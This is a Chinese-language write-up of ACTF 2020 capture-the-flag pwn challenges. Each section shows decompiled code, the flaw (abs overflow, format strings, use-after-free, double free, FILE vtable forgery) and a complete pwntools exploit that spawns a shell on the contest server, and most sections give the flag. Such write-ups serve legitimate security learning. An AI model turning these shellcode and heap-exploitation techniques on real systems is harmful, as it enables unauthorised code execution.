【WriteUp】ACTF 2020 题解

中南大学和河北师范大学的寒假新人赛真是让我受益颇多

Pwn

simple_rop

Description:

Not your abs!
nc 47.106.94.13 50012
点击这里,开始你的比赛!


Solution:

保护如下:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_80486B7()
{
unsigned int v0; // eax
char buf; // [esp+Ch] [ebp-3Ch]
int v3; // [esp+3Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
memset(&buf, 0, 0x30u);
read(0, &buf, 0x30u);
puts("Give you a cursor: ");
__isoc99_scanf("%ud", &v3);
return sub_8048738(&buf, v3);
}

sub_8048738 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl target(char *s, int a2)
{
size_t v2; // eax
char v4[16]; // [esp+8h] [ebp-20h]
int v5; // [esp+18h] [ebp-10h]
int v6; // [esp+1Ch] [ebp-Ch]

v5 = abs(a2);
if ( v5 < 0 )
{
v6 %= 0x20;
}
else
{
v6 = rand() % 16;
s[16 - v6] = 0;
}
v2 = strlen(s);
memcpy(&v4[v6], s, v2);
return puts("copy over!");
}

可以看到考的是 abs 的漏洞,即 abs 在输入 -‭2147483648 时无法返回正整数

依靠这个我们可以完成漏洞利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./simple_rop')
libc_puts = 0x5fca0
libc_system = 0x3ada0
libc_bin_sh = 0x15ba0b
else:
p = remote('47.106.94.13', 50012)
libc_puts = 0x05f140
libc_system = 0x03a940
libc_bin_sh = 0x15902b
elf = ELF('./simple_rop', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_main = 0x0804864B

# gdb.attach(p, "b *0x08048717\nb *0x080487B6\nc")
pd = 'a' * 0x24
pd += p32(plt_puts)
pd += p32(addr_main)
pd += p32(got_puts)
p.sendafter('You need search Rop\n', pd)
p.sendlineafter('Give you a cursor: \n', str(0x80000000))
p.recvuntil('copy over!\n')

addr_puts = u32(p.recv(4))
libcbase = addr_puts - libc_puts
addr_system = libcbase + libc_system
addr_bin_sh = libcbase + libc_bin_sh
success('addr_puts = ' + hex(addr_puts))

pd = 'a' * 0x24
pd += p32(addr_system)
pd += p32(addr_main)
pd += p32(addr_bin_sh)
p.sendafter('You need search Rop\n', pd)
p.sendlineafter('Give you a cursor: \n', str(0x80000000))
p.recvuntil('copy over!\n')
p.interactive()

Flag:

1
flag{2f7f5d50-51a3-4c93-8160-3f95defbc60f}

shellcode

Description:

Do you know stack ?
nc 47.106.94.13 50011
点击这里,开始你的比赛!


Solution:

利用 rop 可以跳转地址到之前输入的地址,进行 shellcode 提权

又是手写 shellcode 汇编的一题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./shellcode')
else:
p = remote('47.106.94.13', 50011)


# gdb.attach(p, "b *0x400705\nc")
pd = asm('''
mov rax, 0x3b
movabs rdi, 0x732f2f6e69622f2f
push 0x68
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
''')
pd = pd.ljust(0x28, '\x00')
pd += p64(0x400708)
p.sendafter('U have read 0day!\n', pd)
p.interactive()

Flag:

1
flag{37742947-2146-4028-a975-6c08c0bda567}

fmt32

Description:

random lucky
nc 47.106.94.13 50009
点击这里,开始你的比赛!


Solution:

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main()
{
sub_804861B();
dword_804A070 = rand();
dword_804A06C = rand();
if ( format_fuc(&dword_804A070, &dword_804A06C) )
cat_flag();
else
puts("haha!");
return 0;
}

format_fuc 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
_BOOL4 __cdecl jhf(_DWORD *a1, _DWORD *a2)
{
char s; // [esp+1Ch] [ebp-2Ch]
unsigned int v4; // [esp+3Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
puts("Tell me your name:");
fgets(&s, 32, stdin);
printf("hello,");
printf(&s);
return *a1 == 2 * *a2;
}

修改 *a1 和 *a2 的值都为 0 就完事了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./fmt32')
else:
p = remote('47.106.94.13', 50009)

# gdb.attach(p, "b *0x08048770\nc")
pd = '%6$n%7$n'
p.sendlineafter('Tell me your name:\n', pd)
p.interactive()

Flag:

1
flag{fa80590c-89d2-4f53-b057-1f31dc1f4993}

chk_rop

Description:

Can you pass the check?
nc 47.106.94.13 50008
点击这里,开始你的比赛!


Solution:

查看保护:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-10h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Give you a gift...");
read(0, &buf, 8uLL);
__printf_chk(1LL, &buf);
sub_400846();
return 0LL;
}

这里可以用%p%p%p%p来绕过__printf_chk的检查,从而得到 libc 信息

sub_400846 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_400846()
{
size_t v0; // rax
char v2; // [rsp+0h] [rbp-50h]
char s[8]; // [rsp+30h] [rbp-20h]
__int64 v4; // [rsp+38h] [rbp-18h]
int v5; // [rsp+4Ch] [rbp-4h]

*s = 0LL;
v4 = 0LL;
write(1, "Tell me U filename\n", 0x13uLL);
sub_4008F8(s, 0x10);
v0 = strlen(s);
v5 = 3 * v0 - 48 * ((0xAAAAAAAAAAAAAAABLL * (3 * v0) >> 64) >> 5);
write(1, "And the content:\n", 0x11uLL);
return sub_4008F8(&v2, v5);
}

这里v5 = 3 * v0 - 48 * ((0xAAAAAAAAAAAAAAABLL * (3 * v0) >> 64) >> 5);限定了之后字符串能写的个数

主要看函数 sub_4008F8:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
signed __int64 __fastcall sub_4008F8(unsigned __int8 *a1, int a2)
{
signed __int64 result; // rax
unsigned __int8 *buf; // [rsp+18h] [rbp-8h]

buf = a1;
do
{
if ( read(0, buf, 1uLL) <= 0 )
exit(1);
result = *buf;
if ( result == 10 )
break;
++buf;
result = &a1[a2];
}
while ( result != buf );
return result;
}

可以看到result = &a1[a2];一句,也就是说如果 buf 增长到&a1[a2]就会停止输入,最大的字符状态是当你之前输入 15 个字符的时候

但是试了下没成功,可写区域还是不够大,最后尝试 16 个字符,这样就相当于result = &a1[0],发现绕过了

查看原来是&a1[0]的地址小于 buf,所以不管 buf 如何增长都不会等于&a1[0],后面就提权拿 flag 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chk_rop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.106.94.13', 50008)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

rop_rdi_ret = 0x4009d3
# gdb.attach(p, "b *0x40096A\nc")
p.sendafter('Give you a gift...\n', '%p%p%p%p')
p.recvuntil('0x')
p.recvuntil('0x')

libcbase = int(p.recvuntil('0x')[: -2], 16) - 0x10 - libc.sym['read']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

p.sendlineafter('Tell me U filename\n', '123456789abcded')
pd = 'a' * 0x58
pd += p64(rop_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('And the content:\n', pd)
p.interactive()

Flag:

1
flag{04221eaa-a056-45e4-b5de-112d06dfc7b2}

Complaint

Description:

尽情地Make Complaints!
nc 47.106.94.13 50007
点击这里,开始你的比赛!


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题一开始我没看见有一个 off-by-null 漏洞,就导致我这题,用的是个非预期解

这题能改_IO_2_1_stdout__IO_2_1_stderr_里的所有结构体内容,所以就利用伪造 vtable 来做即可

在调用 puts 时,会跳转到伪造的 vtable 内伪造的地址,并将_IO_2_1_stdout_的地址也就是它的魔数地址传入到 rdi 里,所以修改一下魔数即可提权

加个;sh即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./complaint')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
offset = 0x3f0 - 88 - 0x10
else:
p = remote('47.106.94.13', 50007)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
offset = 0x688
elf = ELF('./complaint', checksec=False)


def add(add_length, add_content):
p.sendlineafter('Your choice: ', '1')
p.sendlineafter('The complaint length you want:\n', str(add_length))
p.sendafter('Input your complaint:', add_content)


def edit(edit_idx, edit_content):
p.sendlineafter('Your choice: ', '2')
p.sendlineafter('The complaint index you want to modify:\n', str(edit_idx))
p.sendafter('Input your complaint:', edit_content)


def delete(delete_idx):
p.sendlineafter('Your choice: ', '3')
p.sendlineafter('The complaint index you want to delete:\n', str(delete_idx))


def show(show_idx):
p.sendlineafter('Your choice: ', '4')
p.sendlineafter('The complaint index you want to show:\n', str(show_idx))
p.recvuntil('Your complaint: \n')


got_free = elf.got['free']
addr_magic = 0x6020a0
addr_ptr = 0x602140
add(0xff, '/bin/sh\x00')
show(0)
p.recv(8)
addr___malloc_hook = u64(p.recv(8)) - offset
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_system = libcbase + libc.sym['system']
addr__IO_2_1_stdin_ = libcbase + libc.sym['_IO_2_1_stdin_']
addr__IO_2_1_stdout_ = libcbase + libc.sym['_IO_2_1_stdout_']
addr_heap = u64(p.recv(8))

add(0x50, 'a' * 8)
pd = p64(0) * 2
pd += p64(addr_system) * 8
edit(1, pd)
# gdb.attach(p, "b *0x400AEC\nb *0x400d3b\nc")
pd = p64(0x68733bfbad8080) + p64(addr__IO_2_1_stdout_ + 131)
pd += p64(addr__IO_2_1_stdout_ + 131) + p64(addr__IO_2_1_stdout_ + 131)
pd += p64(addr__IO_2_1_stdout_ + 131) + p64(addr__IO_2_1_stdout_ + 131)
pd += p64(addr__IO_2_1_stdout_ + 131) + p64(addr__IO_2_1_stdout_ + 131)
pd += p64(addr__IO_2_1_stdout_ + 132) + p64(0)
pd += p64(0) + p64(0)
pd += p64(0) + p64(addr__IO_2_1_stdin_)
pd += p64(1) + p64(0xffffffffffffffff)
pd += p64(0) + p64(addr___malloc_hook - 0x1c70)
pd += p64(0xffffffffffffffff) + p64(0)
pd += p64(addr___malloc_hook - 0x370) + p64(0)
pd += p64(0) + p64(0)
pd += p64(0xffffffff) + p64(0)
pd += p64(0) + p64(addr_heap + 0x110)
pd += p64(addr_heap + 0x20)

edit((addr_magic - addr_ptr) / 8, pd)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_system = ' + hex(addr_system))
success('addr_heap = ' + hex(addr_heap))
p.interactive()

Flag:

1
flag{a7a7ce80-8403-4420-a7ec-6ec34c41236d}

fmt64

Description:

thanks to xxx
nc 47.106.94.13 50010
点击这里,开始你的比赛!


Solution:

这题我应该是非预期,预期解貌似是用的 orw,我是爆破提权法,保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

这里我的修改法是依靠 fprintf 函数,在程序进入 fprintf 函数后,调用的是低地址的栈空间,栈空间分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
14:00a0│      0x7ffc116f2690 ← 0x0
15:00a8│ 0x7ffc116f2698 → 0x7fd75b78425a (sleep+42) ← test eax, eax
16:00b0│ 0x7ffc116f26a0 ← 0x1
17:00b8│ 0x7ffc116f26a8 ← 0x0
... ↓
1a:00d0│ 0x7ffc116f26c0 → 0x7ffc116f27f0 → 0x7ffc116f2800 → 0x7ffc116f2810 → 0x560347cada60 ← ...
1b:00d8│ 0x7ffc116f26c8 → 0x560347cada07 ← mov edi, 1
1c:00e0│ 0x7ffc116f26d0 ← 0x0
1d:00e8│ 0x7ffc116f26d8 → 0x7fd75ba7d620 (_IO_2_1_stdout_) ← 0xfbad2887
1e:00f0│ rsi 0x7ffc116f26e0 ← 0x2436312563313725 ('%71c%16$')
1f:00f8│ 0x7ffc116f26e8 ← 0x25633032256e6c6c ('lln%20c%')
20:0100│ 0x7ffc116f26f0 ← 0x33256e6868243731 ('17$hhn%3')
21:0108│ 0x7ffc116f26f8 ← 0x6868243831256331 ('1c%18$hh')
22:0110│ 0x7ffc116f2700 ← 0x243931256335256e ('n%5c%19$')
23:0118│ 0x7ffc116f2708 ← 0x25633831256e6868 ('hhn%18c%')
24:0120│ 0x7ffc116f2710 ← 0x37256e6868243032 ('20$hhn%7')
25:0128│ 0x7ffc116f2718 ← 0x6868243132256330 ('0c%21$hh')
26:0130│ 0x7ffc116f2720 ← 0x616162616161616e ('naaaabaa')
27:0138│ 0x7ffc116f2728 → 0x7ffc116f26c8 → 0x560347cada07 ← mov edi, 1

每当该函数调用 fprintf 函数时,程序总会返回 0x7ffc116f26c8 地址上所对应的地址

由于程序 Full RELRO,所以程序地址修改地方有限,这里不能使用自己在 bss 段上面写的 shellcode

将其改成 addr_one_gadget 地址即可,不过 execve 的 argv 参数那要随缘,看地址上面的值嘛时候自己乐意变成 0 你就提权了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./fmt64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
else:
p = remote('47.106.94.13', 50010)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
elf = ELF('./fmt64', checksec=False)


def fmtstr_payload64(offset, destin, source):
payload1, payload2 = [], []
addr = [[ord(v), i] for i, v in enumerate(p64(source)[:-2])]
addr = sorted(addr)
chr_cnt = 0
for index, value in enumerate(addr):
payload1.append('%{:02}c%{}$hhn'.format(value[0]-chr_cnt, offset+9+index))
payload2.append(destin+value[1])
chr_cnt = value[0]
return flat(payload1 + ['_' * 6] + payload2)


def payload(addr_input, value):
pd = fmtstr_payload(7, {addr_input: value})
p.send(pd)
p.recv()
sleep(1)


p.sendafter("This's my mind!\n", '%6$p')
addr__IO_2_1_stdout_ = int(p.recv(14), 16)
libcbase = addr__IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_']
addr_one_gadget = libcbase + libc_one_gadget[3]
sleep(1)

p.send('%41$p')
addr_stack_ret = int(p.recv(14), 16) - 0x138
sleep(1)

# gdb.attach(p, "b *$rebase(0xA02)\nc\nsi" + "\nni" * 10)
payload(addr_stack_ret, addr_one_gadget)

p.interactive()

Flag:

1
flag{e84bd3b7-9c2e-4443-804a-6ed5b7bd2b51}

SCP_Foundation_Secret

Description:

nc 47.106.94.13 50005
据说SCP基金会的RU分部遇到了大麻烦呢OwO
我们搞到了一个SCP-RU系统的入口~

hint1: 嘿呀你还没搞定吗!总部发下来了新的资料快去看看吧!(资料内容:自由函数貌似存在问题呢)
点击这里,开始你的比赛!


Solution:

保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi
int v4; // [rsp+Ch] [rbp-14h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
v4 = 0;
v3 = 0LL;
memset(s, 0, 0xAuLL);
init_system();
s = Login();
menu();
while ( 1 )
{
printf("> Now please tell me what you want to do :", v3);
v3 = &v4;
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
View_status();
break;
case 2:
Creat_SCP();
break;
case 3:
Modify_SCP();
break;
case 4:
Delete_SCP();
break;
case 5:
View_SCP();
break;
case 6:
Log_out_SCP();
return;
default:
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
puts("# #");
puts("# SYSTEM MESSAGE: SECURITY BREACH IDENTIFIED. PLEASE LOG OUT IMMEDIATELY. #");
puts("# #");
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
Log_out_SCP();
return;
}
}
}

下面说重点函数,第一个是 init_system 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
char *init_system()
{
FILE *stream; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("###############################################################################");
puts("# #");
puts("# Welcome to the SCP Foundation Project Management System ! #");
puts("# #");
puts("###############################################################################");
puts("# #");
puts("# WARNING: THE FOUNDATION DATABASE IS #");
puts("# CLASSIFIED #");
puts("# ACCESS BY UNAUTHORIZED PERSONNEL IS STRICTLY PROHIBITED #");
puts("# PERPETRATORS WILL BE TRACKED, LOCATED, AND DETAINED #");
puts("# #");
puts("###############################################################################");
puts("# #");
puts("# Syncing data and verifying identity from a remote database ! #");
puts("# #");
puts("###############################################################################");
puts("# #");
puts("# Network connection is down! 1 data downloaded! #");
puts("# Will use a local identity database! #");
puts("# Will use local SCP database! #");
puts("# Downloaded data will be opened after remote authentication. #");
puts("# #");
puts("###############################################################################");
stream = fopen("/flag", "r");
if ( !stream )
{
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
puts("# #");
puts("# SYSTEM MESSAGE: UNKNOWN ERROR. #");
puts("# #");
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
exit(0);
}
SCP_Project_remote = 0x60;
return fgets(byte_6030C8, 45, stream);
}

这里可以看到程序读取了 flag,那么这道题就可能不需要提权即可获得 flag

然后又因为 SCP_Project_remote 的初始值被赋值为了 0x60,这说明这块可能能够帮助我们进行 fastbin 的伪造

又因为 byte_6030C8 和 SCP_Project_remote 的地址离得很近,所以可能是依靠伪造一个 fastbin 来进行信息泄露

接下来看释放函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 Delete_SCP()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("###############################################################################");
puts("# Delete SCP Project #");
puts("#-----------------------------------------------------------------------------#");
printf("> SCP project ID : ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !SCP_Project_list[v1] )
{
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
puts("# #");
puts("# SYSTEM MESSAGE: SECURITY BREACH IDENTIFIED. PLEASE LOG OUT IMMEDIATELY. #");
puts("# #");
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
Log_out_SCP();
}
free(*SCP_Project_list[v1]);
free(*(SCP_Project_list[v1] + 1));
free(SCP_Project_list[v1]);
puts("#-----------------------------------------------------------------------------#");
puts("# ALL DOWN #");
puts("###############################################################################");
return __readfsqword(0x28u) ^ v2;
}

可以看到存在 UAF 漏洞

最后是添加函数,其实还有一个 View_SCP 函数有用(show 函数),这就不贴了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
unsigned __int64 Creat_SCP()
{
void *v0; // rsi
size_t nbytes; // [rsp+Ch] [rbp-24h]
int i; // [rsp+14h] [rbp-1Ch]
void *name; // [rsp+18h] [rbp-18h]
void *desc; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("###############################################################################");
puts("# Create SCP Project #");
puts("#-----------------------------------------------------------------------------#");
for ( i = 0; i <= 9 && SCP_Project_list[i]; ++i )
{
if ( i == 9 )
{
puts("# Local SCP List is FULL! #");
puts("###############################################################################");
return __readfsqword(0x28u) ^ v6;
}
}
SCP_Project_list[i] = malloc(0x10uLL);
printf("> SCP name's length : ");
__isoc99_scanf("%d", &nbytes);
if ( nbytes <= 0 || nbytes > 0x70 )
{
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
puts("# #");
puts("# SYSTEM MESSAGE: SECURITY BREACH IDENTIFIED. PLEASE LOG OUT IMMEDIATELY. #");
puts("# #");
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
Log_out_SCP();
}
name = malloc(nbytes);
printf("> SCP name : ", &nbytes);
v0 = name;
read(0, name, nbytes);
printf("> SCP description's length : ", v0);
__isoc99_scanf("%d", &nbytes + 4);
if ( SHIDWORD(nbytes) <= 0 || SHIDWORD(nbytes) > 0x70 )
{
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
puts("# #");
puts("# SYSTEM MESSAGE: SECURITY BREACH IDENTIFIED. PLEASE LOG OUT IMMEDIATELY. #");
puts("# #");
puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
Log_out_SCP();
}
printf("> SCP description : ", &nbytes + 4);
desc = malloc(SHIDWORD(nbytes));
read(0, desc, HIDWORD(nbytes));
*SCP_Project_list[i] = name;
*(SCP_Project_list[i] + 1) = desc;
puts("#-----------------------------------------------------------------------------#");
puts("# ALL DOWN #");
puts("###############################################################################");
return __readfsqword(0x28u) ^ v6;
}

一次制造三个堆块,一开始我被题目信息误导了,以为这块能进行整数溢出实现越界写,结果调试发现最后用的大小只会是 32 位的大小,就是说没有整数溢出

这块就想了很久,如何才能顺利制造一个 double free,因为除了要伪造 0x50 大小的堆块外还有多余的堆块,最后找到了在实现正常流程的 double free 前多插一个 free 来进行绕过的方法

伪造到 SCP_Project_remote 后读取内容即可得到 flag

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./SCP_Foundation')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.106.94.13', 50005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./SCP_Foundation', checksec=False)


def add(add_name_length, add_name, add_desc_length, add_desc):
p.sendlineafter("> Now please tell me what you want to do :", '2')
p.sendlineafter("> SCP name's length : ", str(add_name_length))
p.sendafter("> SCP name : ", add_name)
p.sendlineafter("> SCP description's length : ", str(add_desc_length))
p.sendafter("> SCP description : ", add_desc)


def delete(delete_idx):
p.sendlineafter("> Now please tell me what you want to do :", '4')
p.sendlineafter("> SCP project ID : ", str(delete_idx))


def show(show_idx):
p.sendlineafter("> Now please tell me what you want to do :", '5')
p.sendlineafter("> SCP project ID : ", str(show_idx))
p.recvuntil("# SCP's description is ")

addr_flag_chunk = 0x6030B8
p.sendlineafter('> Username:', 'ss')
p.sendlineafter('> Password:', 'For_the_glory_of_Brunhild')


add(0x10, '\x01', 0x10, '\x01') # 0
delete(0)
show(0)
addr_heap = u32(p.recvuntil('\x0a')[: -1].ljust(4, '\x00')) - 0x1260
add(0x10, '\x01', 0x10, '\x01') # 1->0
add(0x20, '\x01', 0x50, '\x01') # 2
add(0x20, '\x01', 0x50, '\x01') # 3
add(0x20, '\x01', 0x30, '\x01') # 4
delete(2)
delete(3)
delete(4)
delete(2)
add(0x20, '\x01', 0x50, p64(addr_flag_chunk)) # 5
add(0x20, '\x01', 0x50, p64(addr_flag_chunk)) # 6
add(0x20, '\x01', 0x50, p64(addr_flag_chunk)) # 7
add(0x20, '\x01', 0x50, '\x01') # 8
show(8)
success('addr_heap = ' + hex(addr_heap))

# gdb.attach(p)
p.interactive()

Flag:

1
flag{6b32622d-7e31-40bb-9c48-863f7c1879aa}

SCP_Foundation_Attack

Description:

我们这次的目标就是获取SCP-RU主系统AI——”辉夜姬”的格式化指令代码。
我们SCP基金会总部的主系统AI——”EVA”将会在获取该指令代码后立刻格式化”辉夜姬”这个强人工智能!
nc 47.106.94.13 50006
点击这里,开始你的比赛!


Solution:

格式化字符串泄露 libc,double free 制造任意写

修改 __malloc_hook 为 one_gadget 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./SCP_Foundation_Attack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.106.94.13', 50006)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./SCP_Foundation_Attack', checksec=False)


p.sendlineafter('> Username:', '%2$p')
p.sendlineafter('> Password:', 'For_the_glory_of_Brunhild')


def view():
p.sendlineafter('> Now please tell me what you want to do :', '1')
p.recvuntil('# Your name is ')


def add(add_name_length, add_name, add_desc_length, add_desc):
p.sendlineafter('> Now please tell me what you want to do :', '2')
p.sendlineafter("> SCP name's length : ", str(add_name_length))
p.sendafter('> SCP name : ', add_name)
p.sendlineafter("> SCP description's length : ", str(add_desc_length))
p.sendafter('> SCP description : ', add_desc)


def edit(edit_idx, edit_name, edit_desc):
p.sendlineafter('> Now please tell me what you want to do :', '3')
p.sendlineafter('> SCP project ID : ', str(edit_idx))
p.sendlineafter('> SCP name : ', edit_name)
p.sendlineafter('> SCP description : ', edit_desc)


def delete(delete_idx):
p.sendlineafter('> Now please tell me what you want to do :', '4')
p.sendlineafter('> SCP project ID : ', str(delete_idx))


def show():
p.sendlineafter('> Now please tell me what you want to do :', '5')


libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
# gdb.attach(p, "b *$rebase(0xf3a)\nc")
add(0x60, 'a', 0x30, 'a')
add(0x60, 'a', 0x40, 'a')
delete(1)
delete(2)
add(0x30, 'a', 0x40, 'a')
view()
addr___free_hook = int(p.recv(14), 16) + 0x28
libcbase = addr___free_hook - libc.sym['__free_hook']
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]
delete(1)
add(0x60, p64(addr___malloc_hook - 0x23), 0x60, 'a')
add(0x60, 'a', 0x60, 'a' * 0x13 + p64(addr_one_gadget))
p.sendlineafter('> Now please tell me what you want to do :', '2')
p.sendlineafter("> SCP name's length : ", '30')
success('addr___free_hook = ' + hex(addr___free_hook))
